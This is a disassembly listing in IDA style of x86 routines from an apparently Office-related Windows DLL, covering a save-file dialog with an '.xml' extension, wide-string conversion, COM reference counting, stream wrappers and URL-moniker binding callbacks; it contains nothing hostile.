mov [ebp+var_18], edi
call ds:PathFindExtensionW ; PathFindExtensionW
cmp eax, ebx
mov esi, ds:lstrlenW
mov [ebp+lpStr1], eax
jz short loc_69B7F52E
cmp [eax], bx
jnz short loc_69B7F558
loc_69B7F52E: ; CODE XREF: sub_69B7F4D3+54j
push [ebp+lpString1] ; lpString
mov edi, offset a_xml ; ".xml"
mov [ebp+lpStr1], edi
call esi ; lstrlenW
push edi ; lpString
mov [ebp+var_24], eax
call esi ; lstrlenW
mov ecx, [ebp+var_24]
add ecx, eax
cmp ecx, [ebp+cchWideChar]
jge short loc_69B7F555
push edi ; lpString2
push [ebp+lpString1] ; lpString1
call ds:lstrcatW ; lstrcatW
loc_69B7F555: ; CODE XREF: sub_69B7F4D3+76j
mov edi, [ebp+var_18]
loc_69B7F558: ; CODE XREF: sub_69B7F4D3+59j
push [ebp+lpStr1] ; lpString
call esi ; lstrlenW
cmp [edi], bx
mov [ebp+var_24], eax
mov ecx, edi
mov esi, edi
jz short loc_69B7F5B2
loc_69B7F569: ; CODE XREF: sub_69B7F4D3+DDj
cmp word ptr [esi], 7Ch
jnz short loc_69B7F5AB
cmp [ebp+var_14], ebx
jz short loc_69B7F59D
inc [ebp+var_1C]
cmp eax, ebx
jz short loc_69B7F59D
mov edx, esi
sub edx, ecx
sar edx, 1
cmp eax, edx
jge short loc_69B7F59D
push eax ; nChar
add eax, eax
mov ecx, esi
sub ecx, eax
push ecx ; lpStr2
push [ebp+lpStr1] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jz short loc_69B7F5B2
mov eax, [ebp+var_24]
loc_69B7F59D: ; CODE XREF: sub_69B7F4D3+9Fj
; sub_69B7F4D3+A6j ...
xor ecx, ecx
cmp [ebp+var_14], ebx
setz cl
mov [ebp+var_14], ecx
lea ecx, [esi+2]
loc_69B7F5AB: ; CODE XREF: sub_69B7F4D3+9Aj
inc esi
inc esi
cmp [esi], bx
jnz short loc_69B7F569
loc_69B7F5B2: ; CODE XREF: sub_69B7F4D3+94j
; sub_69B7F4D3+C5j
xor eax, eax
cmp dword_69B92954, 2
setz al
cmp eax, ebx
mov [ebp+lpStr1], eax
jnz short loc_69B7F5E3
push edi ; lpWideCharStr
call sub_69B39E45
cmp eax, ebx
mov [ebp+var_C], eax
jz loc_69B7F73B
jmp short loc_69B7F638
; ---------------------------------------------------------------------------
loc_69B7F5D8: ; CODE XREF: sub_69B7F4D3+113j
cmp word ptr [edi], 7Ch
jnz short loc_69B7F5E1
mov [edi], bx
loc_69B7F5E1: ; CODE XREF: sub_69B7F4D3+109j
inc edi
inc edi
loc_69B7F5E3: ; CODE XREF: sub_69B7F4D3+F0j
cmp [edi], bx
jnz short loc_69B7F5D8
mov esi, [ebp+lpString1]
loc_69B7F5EB: ; CODE XREF: sub_69B7F4D3+1BFj
push 13h
xor eax, eax
cmp [ebp+lpStr1], ebx
pop ecx
lea edi, [ebp+var_74]
rep stosd
mov eax, [ebp+var_28]
mov [ebp+var_74], 4Ch
mov [ebp+var_70], eax
mov [ebp+var_40], 88806h
jz loc_69B7F697
mov eax, [ebp+var_18]
mov [ebp+var_68], eax
mov eax, [ebp+lpString1]
mov [ebp+var_58], eax
mov eax, [ebp+cchWideChar]
mov [ebp+var_38], (offset a_xml+2)
mov [ebp+var_54], eax
jmp loc_69B7F6B6
; ---------------------------------------------------------------------------
loc_69B7F630: ; CODE XREF: sub_69B7F4D3+167j
cmp byte ptr [eax], 7Ch
jnz short loc_69B7F637
mov [eax], bl
loc_69B7F637: ; CODE XREF: sub_69B7F4D3+160j
inc eax
loc_69B7F638: ; CODE XREF: sub_69B7F4D3+103j
cmp [eax], bl
jnz short loc_69B7F630
push offset a_xml ; ".xml"
call sub_69B39E45
cmp eax, ebx
mov [ebp+var_10], eax
jz loc_69B7F714
mov edi, ds:WideCharToMultiByte
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push ebx ; cchMultiByte
push ebx ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push [ebp+lpString1] ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call edi ; WideCharToMultiByte
mov esi, eax
mov eax, 104h
cmp esi, eax
jge short loc_69B7F671
mov esi, eax
loc_69B7F671: ; CODE XREF: sub_69B7F4D3+19Aj
lea eax, [esi+1]
push eax
call sub_69B11E44
cmp eax, ebx
mov [ebp+lpMultiByteStr], eax
jz loc_69B7F714
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push esi ; cchMultiByte
push eax ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push [ebp+lpString1] ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call edi ; WideCharToMultiByte
jmp loc_69B7F5EB
; ---------------------------------------------------------------------------
loc_69B7F697: ; CODE XREF: sub_69B7F4D3+139j
mov eax, [ebp+var_10]
mov ecx, eax
inc eax
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ebp+var_C]
mov [ebp+var_68], eax
mov eax, [ebp+lpMultiByteStr]
inc esi
mov [ebp+var_38], ecx
mov [ebp+var_58], eax
mov [ebp+var_54], esi
loc_69B7F6B6: ; CODE XREF: sub_69B7F4D3+158j
mov eax, [ebp+var_1C]
push offset aComdlg32_dll ; "COMDLG32.DLL"
mov [ebp+var_5C], eax
call ds:LoadLibraryA ; LoadLibraryA
mov esi, eax
cmp esi, ebx
jz short loc_69B7F714
cmp [ebp+lpStr1], ebx
mov eax, offset aGetsavefilenam ; "GetSaveFileNameW"
jnz short loc_69B7F6DC
mov eax, offset aGetsavefilen_0 ; "GetSaveFileNameA"
loc_69B7F6DC: ; CODE XREF: sub_69B7F4D3+202j
push eax ; lpProcName
push esi ; hModule
call ds:GetProcAddress ; GetProcAddress
cmp eax, ebx
jz short loc_69B7F70D
lea ecx, [ebp+var_74]
push ecx
call eax ; aGetsavefilenam ; "GetSaveFileNameW"
test eax, eax
jz short loc_69B7F70D
cmp [ebp+lpStr1], ebx
jnz short loc_69B7F70A
push [ebp+cchWideChar] ; cchWideChar
push [ebp+lpString1] ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_69B7F70A: ; CODE XREF: sub_69B7F4D3+222j
mov [ebp+var_20], ebx
loc_69B7F70D: ; CODE XREF: sub_69B7F4D3+213j
; sub_69B7F4D3+21Dj
push esi ; hLibModule
call ds:FreeLibrary ; FreeLibrary
loc_69B7F714: ; CODE XREF: sub_69B7F4D3+178j
; sub_69B7F4D3+1ACj ...
cmp [ebp+var_C], ebx
jz short loc_69B7F721
push [ebp+var_C]
call sub_69B1B2B7
loc_69B7F721: ; CODE XREF: sub_69B7F4D3+244j
cmp [ebp+var_10], ebx
jz short loc_69B7F72E
push [ebp+var_10]
call sub_69B1B2B7
loc_69B7F72E: ; CODE XREF: sub_69B7F4D3+251j
cmp [ebp+lpMultiByteStr], ebx
jz short loc_69B7F73B
push [ebp+lpMultiByteStr]
call sub_69B1B2B7
loc_69B7F73B: ; CODE XREF: sub_69B7F4D3+FDj
; sub_69B7F4D3+25Ej
mov eax, [ebp+var_20]
pop edi
loc_69B7F73F: ; CODE XREF: sub_69B7F4D3+2Dj
pop esi
pop ebx
leave
retn 8
sub_69B7F4D3 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR a_xml
a_xml: ; DATA XREF: sub_69B7F4D3+5Eo
; sub_69B7F4D3+169o ...
unicode 0, <.xml>,0
align 4
aGetsavefilen_0 db 'GetSaveFileNameA',0 ; DATA XREF: sub_69B7F4D3+204o
align 4
; char aGetsavefilenam[]
aGetsavefilenam db 'GetSaveFileNameW',0 ; CODE XREF: sub_69B7F4D3+219p
; DATA XREF: sub_69B7F4D3+1FDo
align 4
; char aComdlg32_dll[]
aComdlg32_dll db 'COMDLG32.DLL',0 ; DATA XREF: sub_69B7F4D3+1E6o
; =============== S U B R O U T I N E =======================================
sub_69B7F789 proc near ; CODE XREF: sub_69B803AC+1EDp
arg_0 = dword ptr 4
push esi
push edi
push 0
push [esp+0Ch+arg_0]
mov edi, ecx
call sub_69B2F944
pop ecx
pop ecx
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
mov esi, eax
test esi, esi
jnz short loc_69B7F7B4
mov edi, 8007000Eh
jmp short loc_69B7F7C5
; ---------------------------------------------------------------------------
loc_69B7F7B4: ; CODE XREF: sub_69B7F789+22j
push esi
mov ecx, edi
call sub_69B7E980
push esi ; BSTR
mov edi, eax
call SysFreeString
loc_69B7F7C5: ; CODE XREF: sub_69B7F789+29j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B7F789 endp
; =============== S U B R O U T I N E =======================================
sub_69B7F7CC proc near ; CODE XREF: sub_69B7FB0F+1FEp
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_69B2A780
mov dword ptr [eax+4], offset off_69B2A754
mov dword ptr [eax+8], 1
mov [eax+0Ch], ecx
mov [eax+10h], ecx
mov [eax+14h], ecx
retn
sub_69B7F7CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F7EE proc near ; CODE XREF: .text:69B7FA17j
; DATA XREF: .text:off_69B2A780o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
xor ebx, ebx
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
mov [edx], ebx
repe cmpsd
jz short loc_69B7F849
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B040
xor eax, eax
repe cmpsd
jz short loc_69B7F849
mov eax, [ebp+arg_0]
cmp [eax+14h], ebx
jz short loc_69B7F842
cmp [eax+10h], ebx
jz short loc_69B7F842
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset stru_69B2AF10
xor ebx, ebx
repe cmpsd
jnz short loc_69B7F842
lea ecx, [eax+4]
mov [edx], ecx
jmp short loc_69B7F84E
; ---------------------------------------------------------------------------
loc_69B7F842: ; CODE XREF: sub_69B7F7EE+35j
; sub_69B7F7EE+3Aj ...
mov eax, 80004002h
jmp short loc_69B7F856
; ---------------------------------------------------------------------------
loc_69B7F849: ; CODE XREF: sub_69B7F7EE+1Cj
; sub_69B7F7EE+2Dj
mov eax, [ebp+arg_0]
mov [edx], eax
loc_69B7F84E: ; CODE XREF: sub_69B7F7EE+52j
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B7F856: ; CODE XREF: sub_69B7F7EE+59j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B7F7EE endp
; =============== S U B R O U T I N E =======================================
sub_69B7F85D proc near ; CODE XREF: .text:69B7FA21j
; DATA XREF: .text:69B2A784o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn 4
sub_69B7F85D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7F86E(int, int, int, LPSTREAM *ppstm)
sub_69B7F86E proc near ; DATA XREF: .text:69B2A78Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
ppstm = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+ppstm]
and dword ptr [ebx], 0
push esi
push edi
mov edi, [ebp+arg_4]
push 4
mov eax, offset stru_69B2AF10
xor edx, edx
mov edx, [ebp+arg_8]
pop ecx
mov esi, eax
repe cmpsd
jnz short loc_69B7F8B8
push 4
mov esi, eax
pop ecx
mov edi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B7F8B8
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jz short loc_69B7F918
cmp dword ptr [eax+14h], 0
push ebx
push edx
jnz short loc_69B7F8B1
mov eax, [eax+10h]
loc_69B7F8B1: ; CODE XREF: sub_69B7F86E+3Ej
mov ecx, [eax]
push eax
call dword ptr [ecx]
jmp short loc_69B7F91D
; ---------------------------------------------------------------------------
loc_69B7F8B8: ; CODE XREF: sub_69B7F86E+20j
; sub_69B7F86E+2Dj
mov edi, [ebp+arg_4]
push 4
pop ecx
mov esi, offset nullsub_1
xor eax, eax
repe cmpsd
jnz short loc_69B7F918
push 4
pop ecx
mov edi, edx
mov esi, offset dword_69B2AFF0
xor eax, eax
repe cmpsd
jnz short loc_69B7F918
mov edi, [ebp+arg_0]
mov eax, [edi+0Ch]
test eax, eax
jz short loc_69B7F918
push eax ; lpString
call ds:lstrlenW ; lstrlenW
lea esi, [eax+eax+2]
push esi ; dwBytes
push 40h ; uFlags
call ds:GlobalAlloc ; GlobalAlloc
mov ecx, esi
mov esi, [edi+0Ch]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd
push ebx ; ppstm
mov ecx, edx
push 1 ; fDeleteOnRelease
and ecx, 3
push eax ; hGlobal
rep movsb
call ds:CreateStreamOnHGlobal
jmp short loc_69B7F91D
; ---------------------------------------------------------------------------
loc_69B7F918: ; CODE XREF: sub_69B7F86E+36j
; sub_69B7F86E+59j ...
mov eax, 80004005h
loc_69B7F91D: ; CODE XREF: sub_69B7F86E+48j
; sub_69B7F86E+A8j
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B7F86E endp
; =============== S U B R O U T I N E =======================================
sub_69B7F924 proc near ; DATA XREF: .text:69B2A760o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+0Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
retn 8
sub_69B7F924 endp
; =============== S U B R O U T I N E =======================================
sub_69B7F938 proc near ; DATA XREF: .text:69B2A764o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+0Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
retn 8
sub_69B7F938 endp
; =============== S U B R O U T I N E =======================================
sub_69B7F94C proc near ; DATA XREF: .text:69B2A768o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+0Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
retn 10h
sub_69B7F94C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F968 proc near ; DATA XREF: .text:69B2A76Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push [ebp+arg_10]
mov eax, [ebp+arg_0]
push [ebp+arg_C]
mov eax, [eax+0Ch]
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
pop ebp
retn 14h
sub_69B7F968 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F987 proc near ; DATA XREF: .text:69B2A770o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push [ebp+arg_20]
mov eax, [ebp+arg_0]
push [ebp+arg_1C]
mov eax, [eax+0Ch]
push [ebp+arg_18]
mov ecx, [eax]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+1Ch]
pop ebp
retn 24h
sub_69B7F987 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F9B2 proc near ; DATA XREF: .text:69B2A774o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
mov eax, [eax+0Ch]
push [ebp+arg_14]
mov ecx, [eax]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+20h]
pop ebp
retn 20h
sub_69B7F9B2 endp
; =============== S U B R O U T I N E =======================================
sub_69B7F9DA proc near ; DATA XREF: .text:69B2A778o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+0Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+24h]
retn 10h
sub_69B7F9DA endp
; =============== S U B R O U T I N E =======================================
sub_69B7F9F6 proc near ; DATA XREF: .text:69B2A77Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+0Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
retn 10h
sub_69B7F9F6 endp
; ---------------------------------------------------------------------------
loc_69B7FA12: ; DATA XREF: .text:off_69B2A754o
sub dword ptr [esp+4], 4
jmp sub_69B7F7EE
; ---------------------------------------------------------------------------
loc_69B7FA1C: ; DATA XREF: .text:69B2A758o
sub dword ptr [esp+4], 4
jmp sub_69B7F85D
; =============== S U B R O U T I N E =======================================
sub_69B7FA26 proc near ; CODE XREF: sub_69B800F1+5j
; DATA XREF: .text:69B2A788o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+8]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_69B7FA4D
test esi, esi
jz short loc_69B7FA4D
mov ecx, esi
call sub_69B7FA54
push esi
call sub_69B1B2B7
loc_69B7FA4D: ; CODE XREF: sub_69B7FA26+14j
; sub_69B7FA26+18j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B7FA26 endp
; =============== S U B R O U T I N E =======================================
sub_69B7FA54 proc near ; CODE XREF: sub_69B7FA26+1Cp
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B2A780
mov dword ptr [esi+4], offset off_69B2A754
call sub_69B7E177
mov esi, [esi+0Ch]
test esi, esi
jz short loc_69B7FA77
push esi ; BSTR
call SysFreeString
loc_69B7FA77: ; CODE XREF: sub_69B7FA54+1Aj
pop esi
retn
sub_69B7FA54 endp
; =============== S U B R O U T I N E =======================================
sub_69B7FA79 proc near ; CODE XREF: sub_69B80057+22p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
xor edi, edi
cmp [esp+8+arg_0], edi
lea eax, [esi+18h]
mov dword ptr [esi], offset off_69B14620
mov dword ptr [esi+4], offset off_69B2A740
mov dword ptr [esi+8], offset off_69B2A720
mov dword ptr [esi+0Ch], offset off_69B2A6C0
mov dword ptr [esi+10h], offset off_69B2A6B0
mov dword ptr [esi+14h], offset off_69B2A6A4
mov dword ptr [eax], offset off_69B2A698
mov dword ptr [esi+1Ch], 1
mov [esi+20h], edi
mov [esi+24h], edi
mov [esi+28h], edi
mov [esi+2Ch], edi
mov [esi+34h], edi
mov [esi+3Ch], edi
mov [esi+40h], edi
jz short loc_69B7FAD7
mov eax, [esp+8+arg_0]
loc_69B7FAD7: ; CODE XREF: sub_69B7FA79+58j
push offset dword_69B9B684 ; lpAddend
mov [esi+38h], eax
call ds:InterlockedIncrement ; InterlockedIncrement
mov [esi+30h], edi
call sub_69B1E031
pop edi
mov eax, esi
pop esi
retn 4
sub_69B7FA79 endp
; =============== S U B R O U T I N E =======================================
sub_69B7FAF4 proc near ; DATA XREF: .text:69B14644o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7EB86
test [esp+4+arg_0], 1
jz short loc_69B7FB09
push esi
call sub_69B1B2B7
loc_69B7FB09: ; CODE XREF: sub_69B7FAF4+Dj
mov eax, esi
pop esi
retn 4
sub_69B7FAF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7FB0F(int, int, LPBC pBC, int, int, int)
sub_69B7FB0F proc near ; CODE XREF: sub_69B800FB+D2p
; sub_69B800FB+199p
pvarg = VARIANTARG ptr -38h
lpString = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ppBSCBPrev = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
pBSCb = dword ptr -4
arg_4 = dword ptr 0Ch
pBC = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, [edi+28h]
cmp eax, esi
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+var_8], esi
mov [ebp+ppBSCBPrev], esi
mov [ebp+var_1C], esi
mov [ebp+pBSCb], esi
mov [ebp+var_10], esi
mov [ebp+var_20], esi
mov [ebp+var_24], esi
mov [ebp+lpString], esi
jz short loc_69B7FB47
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FB47: ; CODE XREF: sub_69B7FB0F+30j
cmp [edi+3Ch], esi
mov [edi+28h], esi
jz short loc_69B7FB8D
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
mov eax, [edi+3Ch]
mov ecx, [eax]
push esi
lea edx, [ebp+pvarg]
push edx
push offset aMsohtmlbody ; "msoHTMLBody"
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz short loc_69B7FB83
cmp word ptr [ebp+pvarg.anonymous_0], 8
jnz short loc_69B7FB83
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov [ebp+lpString], eax
mov word ptr [ebp+pvarg.anonymous_0], si
jmp short loc_69B7FB8D
; ---------------------------------------------------------------------------
loc_69B7FB83: ; CODE XREF: sub_69B7FB0F+5Fj
; sub_69B7FB0F+66j
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
loc_69B7FB8D: ; CODE XREF: sub_69B7FB0F+3Ej
; sub_69B7FB0F+72j
cmp [edi+30h], esi
jnz short loc_69B7FBB2
push esi ; lpName
push 1 ; bInitialState
push 1 ; bManualReset
push esi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov [edi+30h], eax
jnz short loc_69B7FBB2
call ds:GetLastError
mov ebx, eax
jmp loc_69B7FF50
; ---------------------------------------------------------------------------
loc_69B7FBB2: ; CODE XREF: sub_69B7FB0F+81j
; sub_69B7FB0F+94j
push 1Ch
call sub_69B11E44
cmp eax, esi
jz short loc_69B7FBC9
mov ecx, eax
call sub_69B81864
mov [ebp+pBSCb], eax
jmp short loc_69B7FBCC
; ---------------------------------------------------------------------------
loc_69B7FBC9: ; CODE XREF: sub_69B7FB0F+ACj
mov [ebp+pBSCb], esi
loc_69B7FBCC: ; CODE XREF: sub_69B7FB0F+B8j
cmp [ebp+pBSCb], esi
jz loc_69B7FC5C
push esi ; dwReserved
lea eax, [ebp+ppBSCBPrev]
push eax ; ppBSCBPrev
push [ebp+pBSCb] ; pBSCb
push [ebp+pBC] ; pBC
call RegisterBindStatusCallback
mov ebx, eax
cmp ebx, esi
jl loc_69B7FD8F
push [ebp+ppBSCBPrev]
mov ecx, [ebp+pBSCb]
call sub_69B81121
mov eax, [ebp+ppBSCBPrev]
cmp eax, esi
jz short loc_69B7FC07
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FC07: ; CODE XREF: sub_69B7FB0F+F0j
mov ecx, edi
mov [ebp+ppBSCBPrev], esi
call sub_69B7E6D3
push 20h
call sub_69B11E44
cmp eax, esi
jz short loc_69B7FC25
mov ecx, eax
call sub_69B81908
jmp short loc_69B7FC27
; ---------------------------------------------------------------------------
loc_69B7FC25: ; CODE XREF: sub_69B7FB0F+10Bj
xor eax, eax
loc_69B7FC27: ; CODE XREF: sub_69B7FB0F+114j
cmp eax, esi
mov [edi+34h], eax
jz short loc_69B7FC5C
mov ecx, [ebp+arg_14]
push eax
push [ebp+pBSCb]
call sub_69B7E084
push 28h
call sub_69B11E44
cmp eax, esi
jz short loc_69B7FC54
push dword ptr [edi+34h]
mov ecx, eax
call sub_69B818AE
mov [ebp+var_10], eax
jmp short loc_69B7FC57
; ---------------------------------------------------------------------------
loc_69B7FC54: ; CODE XREF: sub_69B7FB0F+134j
mov [ebp+var_10], esi
loc_69B7FC57: ; CODE XREF: sub_69B7FB0F+143j
cmp [ebp+var_10], esi
jnz short loc_69B7FC66
loc_69B7FC5C: ; CODE XREF: sub_69B7FB0F+C0j
; sub_69B7FB0F+11Dj
mov ebx, 8007000Eh
jmp loc_69B7FD8F
; ---------------------------------------------------------------------------
loc_69B7FC66: ; CODE XREF: sub_69B7FB0F+14Bj
push esi ; dwReserved
lea eax, [ebp+var_1C]
push eax ; ppBSCBPrev
push [ebp+var_10] ; pBSCb
push [ebp+arg_C] ; pBC
call RegisterBindStatusCallback
mov ebx, eax
cmp ebx, esi
jl loc_69B7FD8F
push [ebp+pBSCb]
mov ecx, [ebp+var_10]
call sub_69B81121
mov eax, [ebp+var_1C]
cmp eax, esi
jz short loc_69B7FC98
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FC98: ; CODE XREF: sub_69B7FB0F+181j
push dword ptr [edi+20h]
mov [ebp+var_1C], esi
call sub_69B849B3
lea esi, [edi+24h]
mov [ebp+var_24], eax
mov eax, [esi]
test eax, eax
jz short loc_69B7FCDA
mov ecx, [eax]
push eax
call dword ptr [ecx+100h]
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
push 0
push dword ptr [esi]
call sub_69B7E0B2
mov eax, [esi]
test eax, eax
jz short loc_69B7FCD7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FCD7: ; CODE XREF: sub_69B7FB0F+1C0j
and dword ptr [esi], 0
loc_69B7FCDA: ; CODE XREF: sub_69B7FB0F+19Ej
push esi ; ppv
push offset stru_69B25E34 ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
push offset stru_69B12148 ; rclsid
call ds:CoCreateInstance
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
push dword ptr [esi]
call sub_69B7E0EC
push 18h
call sub_69B11E44
test eax, eax
jz short loc_69B7FD17
mov ecx, eax
call sub_69B7F7CC
mov [ebp+pBC], eax
jmp short loc_69B7FD1B
; ---------------------------------------------------------------------------
loc_69B7FD17: ; CODE XREF: sub_69B7FB0F+1FAj
and [ebp+pBC], 0
loc_69B7FD1B: ; CODE XREF: sub_69B7FB0F+206j
mov ecx, [ebp+pBC]
test ecx, ecx
jz loc_69B7FEC9
push dword ptr [edi+20h]
call sub_69B7EA61
mov ebx, eax
test ebx, ebx
jl short loc_69B7FD8D
mov ebx, [ebp+pBC]
push ebx
push dword ptr [esi]
call sub_69B7E0B2
mov [edi+28h], ebx
mov ebx, [ebp+lpString]
test ebx, ebx
jz loc_69B7FE2F
cmp word ptr [ebx], 0
jz loc_69B7FE2F
mov esi, [ebp+arg_14]
mov edi, [esi]
lea eax, [ebp+arg_C]
push eax
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
shl eax, 1
push eax
push ebx
push esi
call dword ptr [edi+10h]
mov ebx, eax
test ebx, ebx
jl short loc_69B7FD8D
mov eax, esi
mov ecx, [eax]
push 0
push eax
mov byte ptr [eax+1Dh], 1
call dword ptr [ecx+20h]
mov ebx, eax
test ebx, ebx
jge loc_69B7FF4E
loc_69B7FD8D: ; CODE XREF: sub_69B7FB0F+1ADj
; sub_69B7FB0F+1E4j ...
xor esi, esi
loc_69B7FD8F: ; CODE XREF: sub_69B7FB0F+DAj
; sub_69B7FB0F+152j ...
mov eax, [ebp+arg_14]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+20h]
loc_69B7FD99: ; CODE XREF: sub_69B7FB0F+443j
; sub_69B7FB0F+46Aj
mov eax, [ebp+var_8]
cmp eax, esi
jz short loc_69B7FDA6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FDA6: ; CODE XREF: sub_69B7FB0F+28Fj
mov eax, [ebp+var_14]
cmp eax, esi
jz short loc_69B7FDB3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FDB3: ; CODE XREF: sub_69B7FB0F+29Cj
mov eax, [ebp+var_C]
cmp eax, esi
mov [ebp+var_14], esi
jz short loc_69B7FDC3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FDC3: ; CODE XREF: sub_69B7FB0F+2ACj
mov eax, [ebp+var_1C]
cmp eax, esi
mov [ebp+var_C], esi
jz short loc_69B7FDD3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FDD3: ; CODE XREF: sub_69B7FB0F+2BCj
mov eax, [ebp+ppBSCBPrev]
cmp eax, esi
mov [ebp+var_1C], esi
jz short loc_69B7FDE3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
